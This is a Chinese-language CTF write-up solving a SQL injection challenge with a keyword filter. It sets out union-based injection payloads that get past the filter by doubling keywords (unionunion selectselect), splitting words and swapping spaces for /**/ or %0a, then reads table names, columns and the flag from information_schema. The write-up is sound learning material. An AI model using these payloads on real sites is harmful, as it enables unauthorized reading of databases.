前言:之前学习过了联合注入查询、布尔盲注、时间盲注等,这次就通过SQL注入题来加强一下。
简单的sql注入
方法一
输入有回显,且有输入框,那就可以用联合查询的方法来注入
题中提示已经过滤了一些关键字,那么就先来查看题中过滤的是哪些关键字
?id=1 union select order by #
回显结果:
union
,select
等都被过滤而且没有报错说明#
也被过滤
可以自己建立一个语句来验证一下
如果#
没有被过滤,那么上面的语句将会变成这样,语句一定会报错
题中将关键字过滤,可以尝试一下双写绕过的方法是否可用
输入框中输入?id=1 unionunion selectselect
,发现空格也被过滤了
但双写绕过的方法是可行的,可以采用这个方法
判断注入点
可以采用'='
或1' or '1'='1
查看是否有注入点
SQL注入——注入点判断
判断闭合符号
发现输入框中输入1'
时语句报错,由于这道题将注释符号给过滤了,那就用'
来闭合后面的单引号,这样来测试是否'
为闭合符号,可以自己建立sql语句来更详细的了解一下
在输入框中输入1 ' '
,发现回显正常,说明'
即为闭合符号
接下来就是联合注入的一系列步骤了
判断列数
当判断是否有注入点的时候,发现
只有name,而我们输入的ID则一直不变,因此猜测列数只有一列
查询数据表
题中已经将注释符给过滤掉了,但是在上面已经知道了'
是闭合符号,那就可以用and '1'='1
来闭合后面的单引号
?id=1' union select group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
其他都被过滤了,构造双写绕过,前面也说了空格也被过滤了,但是也可以用两个空格来绕过过滤
输入
?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schematable_schema=database() andand '1'='1
发现table_schematable_schema
被强制换掉了,那么就用table_schemtable_schemaa
这种形式来绕过,过滤中间的,前后再拼接成table_schematable_schema
payload:
?id=1' unionunion selectselect group_concatgroup_concat(table_name) fromfrom information_schema.tables wherewhere table_schemtable_schemaa=database() andand '1'='1
有一个表名为flag,flag应该就在里面
查字段
payload:
?id=1'unionunion selectselect group_concatgroup_concat(column_namcolumn_namee) fromfrom information_schema.columinformation_schema.columnsns wherewhere table_name='flag
这里column_name
也采用错位的方法来绕过,但估计是系统原因吧,莫名奇妙崩了
看了其他大师傅的博客,知道flag是其中的一个字段,就构造语句查询结果
查值
payload:
?id=1'unionunion selectselect flag fromfrom flag wherewhere '1'='1
得出结果
方法二
一道题肯定是不只一种解法的,再来看看另一种方法
输入
?id=1 unionunion and selectselect
发现回显
很奇怪,如果是过滤关键字了,为什么还有关键字,尝试几次就会发现关键字过滤实际上是过滤后面带有一个空格的关键字,那就又出现了一个思路,只需将空格绕过即可
常见的空格绕过有这些
+、%0a、%0b、/**/
查询数据库
?id=1' union/**/select/**/database()'
?id=1' union%0aselect%0adatabase()'
?id=1' union%0bselect%0bdatabase()'